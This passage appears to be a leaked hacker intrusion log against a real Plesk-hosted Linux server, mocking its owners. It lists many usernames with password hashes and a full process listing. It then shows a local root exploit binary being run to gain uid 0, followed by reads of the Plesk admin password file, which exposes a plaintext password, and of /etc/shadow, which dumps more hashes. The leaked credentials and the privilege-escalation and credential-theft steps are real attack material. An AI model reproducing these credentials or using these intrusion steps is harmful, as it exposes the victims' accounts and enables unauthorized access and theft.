  925. sfcgar:$1$MUBD7oyy$.sTGmbMwRsdBYrfQXfbh6/
  926. sfsoar:$1$dvPtn2zd$GlH7j4etEjFOySAHu4oZV0
  927. sfsoar:$1$pZBZJ3Bf$rQlq6FDy7VPjhPYFZ1P64.
  928. sfsoar:$1$pZBZJ3Bf$rQlq6FDy7VPjhPYFZ1P64.
  929. stoms:$1$2VDTPaiT$o6kUTW6UXLdy6zeqLL2q00
  930. stoms:$1$WyeLFT5e$6KzSbxJ9MuqkYgAaonFqh.
  931. stoms:$1$WyeLFT5e$6KzSbxJ9MuqkYgAaonFqh.
  932. stcsd:$1$36mnxETG$J0BtoGvBQUIlajywJ65EU.
  933. stcsd:$1$TRu9HU67$tsjdX..cGgp4/HOA5IRBk1
  934. stcsd:$1$TRu9HU67$tsjdX..cGgp4/HOA5IRBk1
  935. tcsoal:$1$8IvtSsof$Js4ss4101mHXRhS1UgW.z/
  936. tcsoal:$1$Yf8T/mm8$xbXyku1q9H0g30wAxwler/
  937. tcsoal:$1$/Ciht4fS$S4Hx3kHnNkm3Vu2Cl/E7.1
  938. tcsoal:$1$Yf8T/mm8$xbXyku1q9H0g30wAxwler/
  939. tcsoms:$1$aCobysj2$oZShF1So8TZCuH8dq79UE0
  940. tcsoms:$1$ow2DKzUF$FKjZPhq5ahj/bWC.uPAl61
  941. tcsoms:$1$ow2DKzUF$FKjZPhq5ahj/bWC.uPAl61
  942. tisoms:$1$8mQ6hE6A$CvYlVP6fPLmuSHdyDJg4v1
  943. tisoms:$1$BuFAYulO$kLtpxApIF4yvonPrSmfFW1
  944. tisoms:$1$BuFAYulO$kLtpxApIF4yvonPrSmfFW1
  945. tunms:$1$6F5myr2t$KmJLCml.CybyQjDqoG3TG1
  946. tunms:$1$O42Xnjjg$pKnLJUYfC.weyl1U32Dtf1
  947. tunms:$1$uWPMvVMY$v3Qc7eyUJB7Evpt0iSnOq1
  948. tunms:$1$O42Xnjjg$pKnLJUYfC.weyl1U32Dtf1
  949. vbcsd:$1$C0j6Be38$To6eb4DzaCtA46pN/x6sG.
  950. vbcsd:$1$4e/iDO4I$6157lAdEF2IaaYKa2NwNS.
  951. wcsoks:$1$WO9U6YiB$wEEafCY2i86zRpEi1hce20
  952. wcsoks:$1$HZoMeTi0$gwdZvPQTqavG4sAiDlEXZ1
  953. wsoks:$1$eSaYt0Fv$vi9zN.GAwbKGQoslpxDr11
  954.  
  955. // LETS SEE WHAT KINDA SHIT THEY RUNNIN
  956.  
  957. $ ps -aux
  958. USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
  959. root         1  0.0  0.0   2156   532 ?        Ss   Feb22   3:04 init [3]
  960. root         2  0.0  0.0      0     0 ?        S    Feb22   0:35 [migration/0]
  961. root         3  0.0  0.0      0     0 ?        SN   Feb22   4:16 [ksoftirqd/0]
  962. root         4  0.0  0.0      0     0 ?        S    Feb22   0:00 [watchdog/0]
  963. root         5  0.0  0.0      0     0 ?        S    Feb22   0:30 [migration/1]
  964. root         6  0.0  0.0      0     0 ?        SN   Feb22   5:09 [ksoftirqd/1]
  965. root         7  0.0  0.0      0     0 ?        S    Feb22   0:00 [watchdog/1]
  966. root         8  0.0  0.0      0     0 ?        S    Feb22   0:38 [migration/2]
  967. root         9  0.0  0.0      0     0 ?        SN   Feb22   3:03 [ksoftirqd/2]
  968. root        10  0.0  0.0      0     0 ?        S    Feb22   0:00 [watchdog/2]
  969. root        11  0.0  0.0      0     0 ?        S    Feb22   0:53 [migration/3]
  970. root        12  0.1  0.0      0     0 ?        SN   Feb22 337:41 [ksoftirqd/3]
  971. root        13  0.0  0.0      0     0 ?        S    Feb22   0:00 [watchdog/3]
  972. root        14  0.0  0.0      0     0 ?        S<   Feb22   0:01 [events/0]
  973. root        15  0.0  0.0      0     0 ?        S<   Feb22   0:00 [events/1]
  974. root        16  0.0  0.0      0     0 ?        S<   Feb22   0:01 [events/2]
  975. root        17  0.0  0.0      0     0 ?        S<   Feb22   0:13 [events/3]
  976. root        18  0.0  0.0      0     0 ?        S<   Feb22   0:00 [khelper]
  977. root        19  0.0  0.0      0     0 ?        S<   Feb22   0:00 [kthread]
  978. root        25  0.0  0.0      0     0 ?        S<   Feb22   0:01 [kblockd/0]
  979. root        26  0.0  0.0      0     0 ?        S<   Feb22   0:02 [kblockd/1]
  980. root        27  0.0  0.0      0     0 ?        S<   Feb22   0:02 [kblockd/2]
  981. root        28  0.0  0.0      0     0 ?        S<   Feb22   0:27 [kblockd/3]
  982. root        29  0.0  0.0      0     0 ?        S<   Feb22   0:00 [kacpid]
  983. root       128  0.0  0.0      0     0 ?        S<   Feb22   0:00 [cqueue/0]
  984. root       129  0.0  0.0      0     0 ?        S<   Feb22   0:00 [cqueue/1]
  985. root       130  0.0  0.0      0     0 ?        S<   Feb22   0:00 [cqueue/2]
  986. root       131  0.0  0.0      0     0 ?        S<   Feb22   0:00 [cqueue/3]
  987. root       134  0.0  0.0      0     0 ?        S<   Feb22   0:00 [khubd]
  988. root       136  0.0  0.0      0     0 ?        S<   Feb22   0:00 [kseriod]
  989. root       213  0.0  0.0      0     0 ?        S<   Feb22  71:43 [kswapd0]
  990. root       214  0.0  0.0      0     0 ?        S<   Feb22   0:00 [aio/0]
  991. root       215  0.0  0.0      0     0 ?        S<   Feb22   0:00 [aio/1]
  992. root       216  0.0  0.0      0     0 ?        S<   Feb22   0:00 [aio/2]
  993. root       217  0.0  0.0      0     0 ?        S<   Feb22   0:00 [aio/3]
  994. root       372  0.0  0.0      0     0 ?        S<   Feb22   0:00 [kpsmoused]
  995. root       417  0.0  0.0      0     0 ?        S<   Feb22   0:00 [ata/0]
  996. root       418  0.0  0.0      0     0 ?        S<   Feb22   0:00 [ata/1]
  997. root       419  0.0  0.0      0     0 ?        S<   Feb22   0:00 [ata/2]
  998. root       420  0.0  0.0      0     0 ?        S<   Feb22   0:00 [ata/3]
  999. root       421  0.0  0.0      0     0 ?        S<   Feb22   0:00 [ata_aux]
  1000. root       427  0.0  0.0      0     0 ?        S<   Feb22   0:00 [scsi_eh_0]
  1001. root       428  0.0  0.0      0     0 ?        S<   Feb22   0:00 [scsi_eh_1]
  1002. root       444  0.0  0.0      0     0 ?        S<   Feb22   0:00 [scsi_eh_2]
  1003. root       445  0.0  0.0      0     0 ?        S    Feb22   0:00 [hpt_wt]
  1004. root       446  0.0  0.0      0     0 ?        S<   Feb22 151:44 [kjournald]
  1005. root       471  0.0  0.0      0     0 ?        S<   Feb22   1:12 [kauditd]
  1006. root       504  0.0  0.0   2376   652 ?        S<   Feb22   0:00 [kmpathd/0]
  1007. root      1304  0.0  0.0      0     0 ?        S<   Feb22   0:00 [kmpathd/1]
  1008. root      1305  0.0  0.0      0     0 ?        S<   Feb22   0:00 [kmpathd/2]
  1009. root      1306  0.0  0.0      0     0 ?        S<   Feb22   0:00 [kmpathd/3]
  1010. root      1345  0.0  0.0   5072  1608 ?        S    Jul16   0:01
  1011. /usr/bin/couriertls -server -tcpd /usr/sbin/imaplogin
  1012. /usr/lib/courier-imap/authlib/authpsa /usr/bin/imapd Maildir
  1013. popuser   1346  0.0  0.0   7296  1144 ?        S    Jul16   0:03 /usr/bin/imapd
  1014. Maildir
  1015. root      1355  0.0  0.0      0     0 ?        S<   Feb22   0:00 [kjournald]
  1016. root      1387  0.0  0.0   5072  1848 ?        S    Jul16   0:01
  1017. /usr/bin/couriertls -server -tcpd /usr/sbin/imaplogin
  1018. /usr/lib/courier-imap/authlib/authpsa /usr/bin/imapd Maildir
  1019. popuser   1388  0.0  0.0   7372  1528 ?        S    Jul16   0:54 /usr/bin/imapd
  1020. Maildir
  1021. root      1401  0.0  0.0   5072  1608 ?        S    Jul16   0:01
  1022. /usr/bin/couriertls -server -tcpd /usr/sbin/imaplogin
  1023. /usr/lib/courier-imap/authlib/authpsa /usr/bin/imapd Maildir
  1024. popuser   1402  0.0  0.0   7296  1508 ?        S    Jul16   0:02 /usr/bin/imapd
  1025. Maildir
  1026. root      2218  0.0  0.0  13668   904 ?        S<   Feb22   0:00 [krfcommd]
  1027. root      2489  0.0  0.0  12948  1344 ?        Ssl  Feb22   2:16 pcscd
  1028. root      2503  0.0  0.0   1756   520 ?        Ss   Feb22   0:00 /usr/sbin/acpid
  1029. root      2527  0.0  0.0   2004   448 ?        Ss   Feb22   0:00 /usr/bin/hidd
  1030. --server
  1031. root      2552  0.0  0.0  30436  1320 ?        Ssl  Feb22   1:12 automount
  1032. root      2597  0.0  0.0   7212   872 ?        Ss   Feb22   2:01 /usr/sbin/sshd
  1033. root      2610  0.0  0.1  10256  2072 ?        Ss   Feb22   0:00 cupsd
  1034. root      2747  0.0  0.0   2000   464 ?        Ss   Feb22   0:00 gpm -m
  1035. /dev/input/mice -t exps2
  1036. postgres  2982  0.0  0.0  21240  1688 ?        S    Feb22   0:00
  1037. /usr/bin/postmaster -p 5432 -D /var/lib/pgsql/data
  1038. postgres  2984  0.0  0.0  11016   420 ?        S    Feb22   0:06 postgres:
  1039. logger process
  1040. postgres  3001  0.0  0.0  21240   512 ?        S    Feb22   0:04 postgres:
  1041. writer process
  1042. postgres  3002  0.0  0.0  12020   292 ?        S    Feb22   0:00 postgres: stats
  1043. buffer process
  1044. postgres  3003  0.0  0.0  11204   336 ?        S    Feb22   0:00 postgres: stats
  1045. collector process
  1046. root      3046  0.0  7.0 248660 144752 ?       Ss   Feb22 108:36 /usr/sbin/httpd
  1047. xfs       3336  0.0  0.0   3584  1188 ?        Ss   Feb22   0:00 xfs -droppriv
  1048. -daemon
  1049. root      3363  0.0  0.0   2360   444 ?        Ss   Feb22   0:00 /usr/sbin/atd
  1050. avahi     3398  0.0  0.0   2684  1316 ?        Ss   Feb22   0:03 avahi-daemon:
  1051. running [ip-97-74-115-143.local]
  1052. avahi     3404  0.0  0.0   2684   424 ?        Ss   Feb22   0:00 avahi-daemon:
  1053. chroot helper
  1054. 68        3435  0.0  0.1   5776  3856 ?        Ss   Feb22   0:04 hald
  1055. root      3436  0.0  0.0   3256  1088 ?        S    Feb22   0:00 hald-runner
  1056. 68        3447  0.0  0.0   2104   828 ?        S    Feb22   0:00
  1057. hald-addon-acpi: listening on acpid socket /var/run/acpid.socket
  1058. root      3475  0.0  0.0  33784   884 ?        Sl   Feb22   0:15 /usr/bin/hptsvr
  1059. root      3481  0.0  0.5  28360 11900 ?        SN   Feb22   0:08 /usr/bin/python
  1060. -tt /usr/sbin/yum-updatesd
  1061. root      3527  0.0  0.0   2656  1216 ?        SN   Feb22   0:26
  1062. /usr/libexec/gam_server
  1063. root      3855  0.0  0.0   3604   428 ?        S    Feb22   0:00
  1064. /usr/sbin/smartd -q never
  1065. root      3858  0.0  0.0   1744   464 tty1     Ss+  Feb22   0:00 /sbin/mingetty
  1066. tty1
  1067. root      3859  0.0  0.0   1748   468 tty2     Ss+  Feb22   0:00 /sbin/mingetty
  1068. tty2
  1069. root      3860  0.0  0.0   1744   464 tty3     Ss+  Feb22   0:00 /sbin/mingetty
  1070. tty3
  1071. root      3862  0.0  0.0   1744   460 tty4     Ss+  Feb22   0:00 /sbin/mingetty
  1072. tty4
  1073. root      3865  0.0  0.0   1744   464 tty5     Ss+  Feb22   0:00 /sbin/mingetty
  1074. tty5
  1075. root      3867  0.0  0.0   1748   468 tty6     Ss+  Feb22   0:00 /sbin/mingetty
  1076. tty6
  1077. root      3869  0.0  0.4  23908  8900 ?        Ss   Feb22   1:43
  1078. /usr/bin/sw-engine -c /usr/local/psa/admin/conf/php.ini
  1079. /usr/local/psa/admin/bin/modules/watchdog/wdcollect -c
  1080. /usr/local/psa/etc/modules/watchdog/wdcollect.inc.php
  1081. root      3870  0.0  0.1  37624  2848 ?        Ssl  Feb22  47:27
  1082. /usr/local/psa/admin/bin/modules/watchdog/monit -Ic
  1083. /usr/local/psa/etc/modules/watchdog/monitrc
  1084. root      5213  0.0  0.1  12360  3512 ?        Ss   Jul22   0:13 sshd:
  1085. root@notty
  1086. root      5217  0.0  0.0   6856  1748 ?        Ss   Jul22   0:00
  1087. /usr/libexec/openssh/sftp-server
  1088. root      5971  0.0  0.0   5068  1616 ?        S    Jul24   0:00
  1089. /usr/bin/couriertls -server -tcpd /usr/sbin/imaplogin
  1090. /usr/lib/courier-imap/authlib/authpsa /usr/bin/imapd Maildir
  1091. popuser   5974  0.0  0.0   7300  1248 ?        S    Jul24   0:00 /usr/bin/imapd
  1092. Maildir
  1093. root      6969  0.0  0.1  12132  3216 ?        Ss   Jul21   0:15 sshd:
  1094. root@notty
  1095. root      6978  0.0  0.0   6780  1604 ?        Ss   Jul21   0:00
  1096. /usr/libexec/openssh/sftp-server
  1097. root      6982  0.0  1.4  32744 30092 ?        Ss   Jul18   0:17 /usr/bin/spamd
  1098. --username=popuser --daemonize --nouser-config --helper-home-dir=/var/qmail
  1099. --max-children 5 --create-prefs
  1100. --virtual-config-dir=/var/qmail/mailnames/%d/%l/.spamassassin
  1101. --pidfile=/var/run/spamd/spamd_full.pid --socketpath=/tmp/spamd_full.sock
  1102. root      7630  0.0  0.0   5380  1000 ?        Ss   Feb24   1:00 crond
  1103. root      7986  0.0  0.0      0     0 ?        S    Jul23   0:12 [pdflush]
  1104. 30        8301  0.0  0.0   3208   564 ?        Ss   Mar16   0:00
  1105. /usr/lib/plesk-9.0/postfix-queue 127.0.0.1 10027 before-queue
  1106. 30        8302  0.0  0.0   3208   564 ?        Ss   Mar16   0:00
  1107. /usr/lib/plesk-9.0/postfix-queue 127.0.0.1 10026 before-remote
  1108. apache    8354  0.1  6.8 249524 140568 ?       S    03:04   0:02 /usr/sbin/httpd
  1109. drweb     9073  0.0  6.8 145876 140908 ?       S    03:06   0:00 drwebd.real
  1110. drweb     9074  0.0  6.8 145876 140932 ?       S    03:06   0:00 drwebd.real
  1111. drweb     9075  0.0  6.8 145876 141492 ?       S    03:06   0:00 drwebd.real
  1112. drweb     9076  0.0  6.8 145876 141088 ?       S    03:06   0:00 drwebd.real
  1113. popuser   9288  0.1  1.7  39044 36312 ?        S    00:04   0:17 spamd child
  1114. 501       9741  0.0  0.2   9744  6176 ?        S    Jul20   0:27
  1115. /usr/sbin/sw-cp-serverd -f /etc/sw-cp-server/config
  1116. root     10034  0.0  0.0   5072  1616 ?        S    Jul24   0:00
  1117. /usr/bin/couriertls -server -tcpd /usr/sbin/imaplogin
  1118. /usr/lib/courier-imap/authlib/authpsa /usr/bin/imapd Maildir
  1119. popuser  10043  0.0  0.0   7296  1292 ?        S    Jul24   0:00 /usr/bin/imapd
  1120. Maildir
  1121. apache   10113  0.1  6.8 249356 140544 ?       S    03:14   0:02 /usr/sbin/httpd
  1122. popuser  10206  0.1  1.7  39588 36860 ?        S    Jul24   0:49 spamd child
  1123. root     11201  0.0  0.0   4904   944 pts/2    S+   Jul20   0:00 screen
  1124. root     11202  0.0  0.0   5584  1668 ?        Ss   Jul20   0:03 SCREEN
  1125. root     11203  0.0  0.0   4764  1500 pts/1    Ss+  Jul20   0:00 /bin/bash
  1126. root     11229  0.0  0.0   4760  1524 pts/3    Ss+  Jul20   0:00 /bin/bash
  1127. root     11698  0.0  0.0   5072  1612 ?        S    Jul12   0:01
  1128. /usr/bin/couriertls -server -tcpd /usr/sbin/imaplogin
  1129. /usr/lib/courier-imap/authlib/authpsa /usr/bin/imapd Maildir
  1130. popuser  11701  0.0  0.0   7296  1500 ?        S    Jul12   0:42 /usr/bin/imapd
  1131. Maildir
  1132. root     11877  0.0  0.0   5072  1612 ?        S    Jul12   0:01
  1133. /usr/bin/couriertls -server -tcpd /usr/sbin/imaplogin
  1134. /usr/lib/courier-imap/authlib/authpsa /usr/bin/imapd Maildir
  1135. popuser  11878  0.0  0.0   7296  1172 ?        S    Jul12   0:13 /usr/bin/imapd
  1136. Maildir
  1137. root     12664  0.0  0.0   2832   780 ?        Ss   May17   1:33 xinetd
  1138. -stayalive -pidfile /var/run/xinetd.pid
  1139. drweb    12921  0.4  6.8 145876 142236 ?       Ss   May05 523:34 drwebd.real
  1140. apache   14656  0.1  6.8 249468 140792 ?       S    03:21   0:02 /usr/sbin/httpd
  1141. apache   14807  0.0  6.8 249324 140492 ?       S    03:22   0:01 /usr/sbin/httpd
  1142. apache   14927  0.1  7.2 258392 149936 ?       S    03:22   0:01 /usr/sbin/httpd
  1143. apache   15025  0.1  6.8 249560 141268 ?       S    03:23   0:02 /usr/sbin/httpd
  1144. popuser  15706  0.0  0.0   7404  1528 ?        S    03:25   0:00 /usr/bin/imapd
  1145. Maildir
  1146. 30       15854  0.0  0.0   3208   660 ?        Ss   Mar22   0:00
  1147. /usr/lib/plesk-9.0/postfix-queue 127.0.0.1 10027 before-queue
  1148. 30       15856  0.0  0.0   3200   824 ?        Ss   Mar22   0:00
  1149. /usr/lib/plesk-9.0/postfix-queue 127.0.0.1 10026 before-remote
  1150. apache   16054  0.0  6.8 251588 140624 ?       S    03:29   0:00 /usr/sbin/httpd
  1151. apache   16681  0.0  6.7 249208 140300 ?       S    03:30   0:00 /usr/sbin/httpd
  1152. root     17623  0.0  0.0   5072  1616 ?        S    00:29   0:00
  1153. /usr/bin/couriertls -server -tcpd /usr/sbin/imaplogin
  1154. /usr/lib/courier-imap/authlib/authpsa /usr/bin/imapd Maildir
  1155. popuser  17629  0.0  0.0   7296  1412 ?        S    00:29   0:00 /usr/bin/imapd
  1156. Maildir
  1157. root     17716  0.0  0.0      0     0 ?        S    Jul24   0:14 [pdflush]
  1158. popuser  18091  0.0  0.0   7292  1136 ?        S    01:38   0:00 /usr/bin/imapd
  1159. Maildir
  1160. root     18097  0.0  0.0   5068  1596 ?        S    01:38   0:00 couriertls
  1161. -localfd=4 -tcpd -server
  1162. apache   18708  0.1  6.7 249328 139912 ?       S    03:38   0:00 /usr/sbin/httpd
  1163. 30       19002  0.0  0.0   3200   564 ?        Ss   May05   0:00
  1164. /usr/lib/plesk-9.0/postfix-queue 127.0.0.1 10026 before-remote
  1165. root     19106  0.0  0.0   6072   732 ?        S    Jul08   0:09
  1166. /usr/lib/courier-imap/couriertcpd -address=0
  1167. -stderrlogger=/usr/sbin/courierlogger -stderrloggername=imapd -maxprocs=40
  1168. -maxperip=4 -pid=/var/run/imapd.pid -nodnslookup -noidentlookup 143
  1169. /usr/sbin/imaplogin /usr/lib/courier-imap/authlib/authpsa /usr/bin/imapd Maildir
  1170. root     19110  0.0  0.0   4904  1116 ?        S    Jul08   0:06
  1171. /usr/sbin/courierlogger imapd
  1172. root     19118  0.0  0.0   6068   732 ?        S    Jul08   0:14
  1173. /usr/lib/courier-imap/couriertcpd -address=0
  1174. -stderrlogger=/usr/sbin/courierlogger -stderrloggername=imapd-ssl -maxprocs=40
  1175. -maxperip=4 -pid=/var/run/imapd-ssl.pid -nodnslookup -noidentlookup 993
  1176. /usr/bin/couriertls -server -tcpd /usr/sbin/imaplogin
  1177. /usr/lib/courier-imap/authlib/authpsa /usr/bin/imapd Maildir
  1178. root     19120  0.0  0.0   4904   808 ?        S    Jul08   0:11
  1179. /usr/sbin/courierlogger imapd-ssl
  1180. root     19126  0.0  0.0   6072   748 ?        S    Jul08   0:32
  1181. /usr/lib/courier-imap/couriertcpd -address=0
  1182. -stderrlogger=/usr/sbin/courierlogger -stderrloggername=pop3d -maxprocs=40
  1183. -maxperip=4 -pid=/var/run/pop3d.pid -nodnslookup -noidentlookup 110
  1184. /usr/sbin/pop3login /usr/lib/courier-imap/authlib/authpsa /usr/bin/pop3d Maildir
  1185. root     19128  0.0  0.0   4900  1112 ?        S    Jul08   0:23
  1186. /usr/sbin/courierlogger pop3d
  1187. root     19135  0.0  0.0   6068   728 ?        S    Jul08   0:30
  1188. /usr/lib/courier-imap/couriertcpd -address=0
  1189. -stderrlogger=/usr/sbin/courierlogger -stderrloggername=pop3d-ssl -maxprocs=40
  1190. -maxperip=4 -pid=/var/run/pop3d-ssl.pid -nodnslookup -noidentlookup 995
  1191. /usr/bin/couriertls -server -tcpd /usr/sbin/pop3login
  1192. /usr/lib/courier-imap/authlib/authpsa /usr/bin/pop3d Maildir
  1193. root     19137  0.0  0.0   4904   996 ?        S    Jul08   0:23
  1194. /usr/sbin/courierlogger pop3d-ssl
  1195. apache   20073  0.0  6.7 248988 138776 ?       S    03:43   0:00 /usr/sbin/httpd
  1196. root     20144  0.0  0.0   5068  1612 ?        S    03:44   0:00
  1197. /usr/bin/couriertls -server -tcpd /usr/sbin/pop3login
  1198. /usr/lib/courier-imap/authlib/authpsa /usr/bin/pop3d Maildir
  1199. popuser  20145  0.0  0.0   4936   860 ?        S    03:44   0:00 /usr/bin/pop3d
  1200. Maildir
  1201. apache   20319  0.0  6.4 236508 132820 ?       S    Jul24   0:00 /usr/sbin/httpd
  1202. postfix  20848  0.0  0.1   8816  3452 ?        S    03:46   0:00 smtpd -n smtp
  1203. -t inet -u -c -o smtpd_proxy_filter 127.0.0.1:10025
  1204. postfix  20849  0.0  0.0   7012  1732 ?        S    03:46   0:00 proxymap -t
  1205. unix -u
  1206. postfix  20850  0.0  0.0   7024  1732 ?        S    03:46   0:00 anvil -l -t
  1207. unix -u
  1208. postfix  20851  0.0  0.1   7172  2156 ?        S    03:46   0:00 trivial-rewrite
  1209. -n rewrite -t unix -u
  1210. postfix  20852  0.0  0.0   7020  1720 ?        S    03:46   0:00 spawn -n
  1211. 127.0.0.1:10025 -t inet user=mhandlers-user
  1212. argv=/usr/lib/plesk-9.0/postfix-queue 127.0.0.1 10027 before-queue
  1213. postfix  20854  0.0  0.0   7024  1728 ?        S    03:46   0:00 spawn -n
  1214. 127.0.0.1:10027 -t inet user=mhandlers-user
  1215. argv=/usr/lib/plesk-9.0/postfix-queue 127.0.0.1 10026 before-remote
  1216. postfix  20856  0.0  0.1   8848  3292 ?        S    03:46   0:00 smtpd -n
  1217. 127.0.0.1:10026 -t inet -u -c -o smtpd_client_restrictions  -o
  1218. smtpd_helo_restrictions  -o smtpd_sender_restrictions  -o
  1219. smtpd_recipient_restrictions permit_mynetworks,reject -o smtpd_data_restrictions
  1220.  -o receive_override_options no_unknown_recipient_checks
  1221. postfix  20857  0.0  0.1   7156  2272 ?        S    03:46   0:00 cleanup -z -t
  1222. unix -u
  1223. postfix  20858  0.0  0.0   7068  1824 ?        S    03:46   0:00 pipe -n
  1224. plesk_virtual -t unix flags=DORhu user=popuser popuser
  1225. argv=/usr/lib/plesk-9.0/postfix-local -f ${sender} -d ${recipient} -p
  1226. /var/qmail/mailnames
  1227. apache   20889  0.0  0.0   2272   824 ?        R    03:47   0:00 ps -aux
  1228. root     21272  0.0  0.1  12936  4096 ?        Ss   Jul21   0:16 sshd:
  1229. root@notty
  1230. root     21278  0.0  0.0   6796  1748 ?        Ss   Jul21   0:00
  1231. /usr/libexec/openssh/sftp-server
  1232. root     21568  0.0  0.0   6968  1788 ?        Ss   Jul08   5:03
  1233. /usr/libexec/postfix/master
  1234. postfix  21765  0.0  0.1   8244  3064 ?        S    Jul08   3:16 qmgr -l -t fifo
  1235. -u
  1236. postfix  21910  0.0  0.0   7068  1932 ?        S    Jul08   0:09 tlsmgr -l -t
  1237. unix -u
  1238. apache   22145  0.1  7.0 256496 146220 ?       S    01:56   0:08 /usr/sbin/httpd
  1239. 30       23051  0.0  0.0   3200   652 ?        Ss   Mar18   0:00
  1240. /usr/lib/plesk-9.0/postfix-queue 127.0.0.1 10027 before-queue
  1241. 30       23052  0.0  0.0   3200   708 ?        Ss   Mar18   0:00
  1242. /usr/lib/plesk-9.0/postfix-queue 127.0.0.1 10026 before-remote
  1243. root     23196  0.0  0.0   4764  1500 pts/0    Ss+  Jul20   0:00 /bin/bash
  1244. named    24811  0.0  0.2  72156  5504 ?        Ssl  Jun29  11:38 /usr/sbin/named
  1245. -u named -c /etc/named.conf -u named -t /var/named/run-root
  1246. apache   25023  0.1  6.8 249408 140780 ?       S    02:10   0:06 /usr/sbin/httpd
  1247. apache   25276  0.1  6.8 251928 141112 ?       S    02:10   0:09 /usr/sbin/httpd
  1248. apache   26378  0.1  6.8 249368 140756 ?       S    02:13   0:05 /usr/sbin/httpd
  1249. postfix  30087  0.0  0.0   7032  1780 ?        S    02:20   0:00 pickup -l -t
  1250. fifo -u -c -o content_filter smtp:127.0.0.1:10027
  1251. root     30254  0.0  0.1  12140  3216 ?        Ss   Jul18   0:30 sshd:
  1252. root@pts/2
  1253. root     30395  0.0  0.0   4764  1512 pts/2    Ss   Jul18   0:00 -bash
  1254. apache   30715  0.0  6.8 249436 140620 ?       S    02:21   0:04 /usr/sbin/httpd
  1255. root     31126  0.0  0.0   4624  1216 pts/1    S    Jul20   0:00 /bin/sh
  1256. /usr/bin/mysqld_safe --datadir=/var/lib/mysql --socket=/var/lib/mysql/mysql.sock
  1257. --log-error=/var/log/mysqld.log --pid-file=/var/run/mysqld/mysqld.pid
  1258. --user=mysql
  1259. mysql    31206 24.4  2.2 166880 45728 pts/1    Sl   Jul20 1587:18
  1260. /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql
  1261. --pid-file=/var/run/mysqld/mysqld.pid --skip-external-locking
  1262. --socket=/var/lib/mysql/mysql.sock
  1263. root     31988  0.0  0.0   5072  1604 ?        S    Jul16   0:01
  1264. /usr/bin/couriertls -server -tcpd /usr/sbin/imaplogin
  1265. /usr/lib/courier-imap/authlib/authpsa /usr/bin/imapd Maildir
  1266. popuser  31992  0.0  0.0   7292  1420 ?        S    Jul16   0:03 /usr/bin/imapd
  1267. Maildir
  1268.  
  1269.  
  1270. // TIME TO GET STREET ON THESE PIGS
  1271.  
  1272. $ ./a.black.hat.never.kisses.and.tells
  1273.  
  1274. # id
  1275. uid=0(root) gid=0(root) groups=48(apache),2521(psaserv)
  1276.  
  1277. // CRACKING SHADOW FILES ARE LESS FUN WHEN PLESK STORES USER, FTP AND EMAIL
  1278. // PASSES IN PLAINTEXT IN FILES AND MYSQL PSA TABLES
  1279.  
  1280. # cat /etc/psa/.psa.shadow
  1281. 8w667nHzx%XFXb
  1282.  
  1283. # cat /etc/shadow
  1284. root:$1$9f.5eJ9.$QUYSU4l8mMYIIhg7Dvk5n0:15135:0:99999:7:::
  1285. bin:*:13913:0:99999:7:::
  1286. daemon:*:13913:0:99999:7:::
  1287. adm:*:13913:0:99999:7:::
  1288. lp:*:13913:0:99999:7:::
  1289. sync:*:13913:0:99999:7:::
  1290. shutdown:*:13913:0:99999:7:::
  1291. halt:*:13913:0:99999:7:::
  1292. mail:*:13913:0:99999:7:::
  1293. news:*:13913:0:99999:7:::
  1294. uucp:*:13913:0:99999:7:::
  1295. operator:*:13913:0:99999:7:::
  1296. games:*:13913:0:99999:7:::
  1297. gopher:*:13913:0:99999:7:::
  1298. ftp:*:13913:0:99999:7:::
  1299. nobody:*:13913:0:99999:7:::
  1300. rpm:!!:13913:0:99999:7:::
  1301. dbus:!!:13913:0:99999:7:::
  1302. mailnull:!!:13913:0:99999:7:::
  1303. smmsp:!!:13913:0:99999:7:::
  1304. nscd:!!:13913:0:99999:7:::
  1305. vcsa:!!:13913:0:99999:7:::
  1306. rpc:!!:13913:0:99999:7:::
  1307. rpcuser:!!:13913:0:99999:7:::
  1308. nfsnobody:!!:13913:0:99999:7:::
  1309. sshd:!!:13913:0:99999:7:::
  1310. pcap:!!:13913:0:99999:7:::
  1311. haldaemon:!!:13913:0:99999:7:::
  1312. webdept:$1$fMH2nTXH$8mR4nakYDl79MWehtHJpJ/:14599:0:99999:7:::
  1313. avahi:!!:14599::::::
  1314. avahi-autoipd:!!:14599::::::
  1315. named:!!:14599::::::
  1316. xfs:!!:14599::::::
  1317. apache:!!:14599::::::
  1318. distcache:!!:14599::::::
  1319. mysql:!!:14599::::::
  1320. ntp:!!:14599::::::
  1321. sw-cp-server:!!:14599:0:99999:7:::
  1322. psaadm:!!:14599:0:99999:7:::
  1323. popuser:!!:14599:0:99999:7:::
  1324. mhandlers-user:!!:14599:0:99999:7:::
  1325. webalizer:!!:14599::::::
  1326. psaftp:!!:14599:0:99999:7:::
  1327. alias:!!:14599:0:99999:7:::
  1328. qmaild:!!:14599:0:99999:7:::
  1329. qmaill:!!:14599:0:99999:7:::
  1330. qmailp:!!:14599:0:99999:7:::
  1331. qmailq:!!:14599:0:99999:7:::
  1332. qmailr:!!:14599:0:99999:7:::
  1333. qmails:!!:14599:0:99999:7:::
  1334. postgres:!!:14599::::::
  1335. drweb:!!:14599::::::
  1336. jdpa:!$1$JyO0yJgZ$HssFeCuxD2qNPBcqVAcrE0:14600:0:99999:7:::
  1337. barms:$1$JMHnROPk$hW1voLIUUozaP3fB/Q3PS/:14600:0:99999:7:::
  1338. bcsd:$1$9N.SKA8k$UB9Fa1pj4O9ScqvanwsuD0:14600:0:99999:7:::
  1339. bjm:$1$nQFDQuzG$nixGXRSZ2weKVIZbWvY2Y1:14600:0:99999:7:::
  1340. demo:$1$A/PXg4Bp$gxE6Tua9ymjgqIZiruTZJ/:14600:0:99999:7:::
  1341. dymin:$1$aV.nPRpD$w0u6q9utdB9fC0ze0Y9jk1:14600:0:99999:7:::
  1342. dcsd:$1$BmkM/hGw$WYVxaTBKlAnAG9oZfTNs40:14600:0:99999:7:::
  1343. bocg:$1$YCTsX/LA$muqhDQl9XfKRS691T9Ebu0:14600:0:99999:7:::
  1344. crcsd:$1$R2N6hV/D$Efk6P7K2EF6waHHkC.z9/.:14600:0:99999:7:::
  1345. bocs:$1$WTdEJKgC$cTG5MeoEUpdCmEODakZbF.:14600:0:99999:7:::
  1346. izhth:$1$kUKcvc.x$D20GJqyHyrmwvt9SUHSuo0:14600:0:99999:7:::
  1347. mcmtn:$1$neyLtM6z$VuI6CW0/bf5hdOUqgGkSn0:14600:0:99999:7:::
